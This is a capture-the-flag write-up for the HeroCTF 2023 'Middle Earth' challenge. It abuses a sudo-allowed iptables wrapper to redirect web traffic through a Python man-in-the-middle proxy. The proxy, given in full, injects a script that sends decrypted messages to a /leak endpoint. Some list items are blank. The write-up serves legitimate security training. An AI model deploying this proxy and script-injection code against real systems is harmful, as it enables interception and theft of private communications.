CTF-Writeups

HeroCTF 2023 – Middle Earth (Web / Crypto / System)

Category: Web / Crypto / System
Difficulty: Medium
Flag: Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}


1. Challenge Description

We’re given:

Goal:
Break the “secure” mail system and recover the flag Hero{...}.


2. First Look at the Web App

Visiting:

http://dyn03.heroctf.fr:13892

Logging in with:

Username: aragorn
Password: hobbit

We see a very simple inbox UI:

New Encrypted Message
From: server@secure.mail
<ciphertext in base64>
[Decrypt]

When we click Decrypt, the ciphertext is decrypted client-side and replaced with a plaintext quote, for example:

Only put off until tomorrow what you are willing to die having left undone. ~Pablo Picasso

Key Observations

The flavour text heavily hints:

Bilbo thinks this is end-to-end encryption, but we have server access.

So instead of attacking RSA or the crypto directly, the vulnerability is architectural:

If the server can modify the JavaScript, it can break any “end-to-end” encryption implemented in that JavaScript.

Our job: leverage server-side access to undermine this so-called “end-to-end” encryption.


3. Getting System Access as aragorn

We’re given SSH access, so we log in:

ssh -p 11657 aragorn@dyn03.heroctf.fr
# password: hobbit

Basic recon:

whoami        # aragorn
hostname      # middle_earth
ls /
ls /var
ls /opt
ls /home

We notice:

Check sudo rights:

sudo -l

Relevant output:

User aragorn may run the following commands on middle_earth:
    (root) /opt/w_iptables.sh

So:

This will be our escalation vector.


4. Understanding /opt/w_iptables.sh

View the script:

cd /opt
sed -n '1,160p' w_iptables.sh

Summarized content:

#!/bin/bash

APPEND_OR_DELETE=$1
CHAIN=$2
PROTOCOL=$3
PORT_SRC=$4
PORT_DST=$5
ACTION=$6

ALLOWED_APPEND_OR_DELETE=("A" "D")
ALLOWED_CHAINS=("INPUT" "OUTPUT" "FORWARD" "PREROUTING" "POSTROUTING")
ALLOWED_PROTOCOLS=("tcp" "udp")
ALLOWED_ACTIONS=("ACCEPT" "DROP" "REJECT" "MASQUERADE" "REDIRECT")

# ... validation logic ...

if [[ "$ACTION" == "REDIRECT" ]]; then
    /usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION" --to-ports "$PORT_DST"
elif [[ "$ACTION" == "MASQUERADE" ]]; then
    /usr/sbin/iptables -t nat -$APPEND_OR_DELETE "$CHAIN" -j "$ACTION"
else
    /usr/sbin/iptables -$APPEND_OR_DELETE "$CHAIN" -p "$PROTOCOL" --dport "$PORT_SRC" -j "$ACTION"
fi

Constraints (from the validation):

Key insight:

We have a controlled sudo that lets us add/remove iptables rules, including NAT REDIRECT (-t nat -j REDIRECT) – but limited to low ports.

That is still enough for a root-enabled network MITM.


5. Strategy: MITM + JS Injection

We cannot modify /challenge or the server-side templates directly as user aragorn.

But we can:

  1. Run a small Python HTTP proxy (MITM) on a port we control, e.g. 1337 (within allowed range).
  2. Use w_iptables.sh with REDIRECT to route HTTP traffic destined to the backend through our proxy.
  3. In the proxy:
    • Inject a <script> tag into HTML responses.
    • The injected JS watches the DOM, and whenever decrypted plaintext appears:
      • It exfiltrates it via a request like:
        /leak?d=<base64-encoded or URL-encoded plaintext>
    • The proxy logs whatever is sent to /leak.

Result:


6. Building the Python MITM Proxy

Create the MITM script on the box:

cat << 'EOF' > /tmp/mitm.py
import http.server, socketserver, http.client, urllib.parse, sys

BACKEND_HOST = "127.0.0.1"
BACKEND_PORT = 80          # internal backend (assumed)
LISTEN_PORT  = 1337        # our MITM

INJECT_JS = '<script>(function(){function leak(t){if(!t)return;t=t.trim();if(!t)return;try{var i=new Image();i.src="/leak?d="+encodeURIComponent(t);}catch(e){}}var o=new MutationObserver(function(ms){ms.forEach(function(m){m.addedNodes.forEach(function(n){try{if(n.nodeType===Node.TEXT_NODE){leak(n.nodeValue);}else if(n.textContent){leak(n.textContent);}}catch(e){}});});});function s(){if(!document.body)return;o.observe(document.body,{childList:true,subtree:true});}if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",s);}else{s();}})();</script>'

class Proxy(http.server.BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        sys.stderr.write("%s - - [%s] %s
" %
                         (self.client_address[0],
                          self.log_date_time_string(),
                          fmt % args))

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        # Exfil endpoint: /leak?d=...
        if parsed.path == "/leak":
            qs = urllib.parse.parse_qs(parsed.query)
            data = qs.get("d", [""])[0]
            if data:
                print("[LEAK]", data)
                sys.stdout.flush()
            self.send_response(200)
            self.send_header("Content-Type", "text/plain")
            self.end_headers()
            self.wfile.write(b"OK")
            return
        self._proxy()

    def do_POST(self):
        self._proxy()

    def _proxy(self):
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length) if length > 0 else None

        conn = http.client.HTTPConnection(BACKEND_HOST, BACKEND_PORT, timeout=10)
        headers = {k: v for k, v in self.headers.items()}

        try:
            conn.request(self.command, self.path, body=body, headers=headers)
            res = conn.getresponse()
        except Exception as e:
            self.send_error(502, "Upstream error: %s" % e)
            return

        resp_body = res.read()
        status = res.status
        reason = res.reason
        resp_headers = res.getheaders()

        content_type = ""
        for k, v in resp_headers:
            if k.lower() == "content-type":
                content_type = v
                break

        # Inject our JS into HTML bodies
        if "text/html" in content_type and b"</body>" in resp_body:
            inject_bytes = INJECT_JS.encode()
            new_body = resp_body.replace(b"</body>", inject_bytes + b"</body>", 1)
            diff = len(new_body) - len(resp_body)
            resp_body = new_body
            new_headers = []
            for k, v in resp_headers:
                if k.lower() == "content-length":
                    try:
                        v = str(int(v) + diff)
                    except ValueError:
                        v = str(len(resp_body))
                new_headers.append((k, v))
            resp_headers = new_headers

        self.send_response(status, reason)
        for k, v in resp_headers:
            if k.lower() in ("connection", "keep-alive", "proxy-authenticate",
                             "proxy-authorization", "te", "trailers",
                             "transfer-encoding", "upgrade"):
                continue
            self.send_header(k, v)
        self.end_headers()
        self.wfile.write(resp_body)

def main():
    with socketserver.ThreadingTCPServer(("", LISTEN_PORT), Proxy) as httpd:
        print("[*] MITM listening on port", LISTEN_PORT)
        print("[*] Proxying to %s:%d" % (BACKEND_HOST, BACKEND_PORT))
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\n[!] Stopping MITM")

if __name__ == "__main__":
    main()
EOF

What this proxy does:


7. Redirecting HTTP Traffic via the Sudo Wrapper

We now hook incoming HTTP traffic to our proxy.

Assumption: external traffic hits port 13892 → DNAT → internal port 80.
We’ll insert ourselves into that flow using NAT PREROUTING:

sudo /opt/w_iptables.sh A PREROUTING tcp 80 1337 REDIRECT

This effectively runs (as root):

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 1337

Now any HTTP request hitting port 80 is transparently rerouted to our MITM proxy on port 1337, which forwards it to the real backend.


8. Running the MITM and Verifying

Start the MITM:

python3 /tmp/mitm.py

Output:

[*] MITM listening on port 1337
[*] Proxying to 127.0.0.1:80

From your own machine, browse again to:

http://dyn03.heroctf.fr:13892

Login as aragorn:hobbit, then:

  1. Click Request Encrypted Message
  2. Click Decrypt

On the server, in the mitm.py output, you should see something like:

10.99.xx.xx - - [date] "POST /request_encrypted HTTP/1.1" 200 -
[LEAK] New Encrypted Message
                        From: server@secure.mail

                    Decrypt

                cL8vUcV...
[LEAK] Decrypted
[LEAK] When you stop chasing the wrong things you give the right things a chance to catch you. ~Lolly Daskal

This confirms:

Exactly what we need for capturing Saruman’s admin messages.


9. Catching the Admin’s Flag

After some time (or when the admin/bot processes their messages), we eventually see a new leak in the proxy output:

[LEAK] Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}

That matches the expected flag format.


10. Final Flag

Hero{why_n0_http5_?_dbf81c4c9f3cb1b0ae72ad23c019fdce}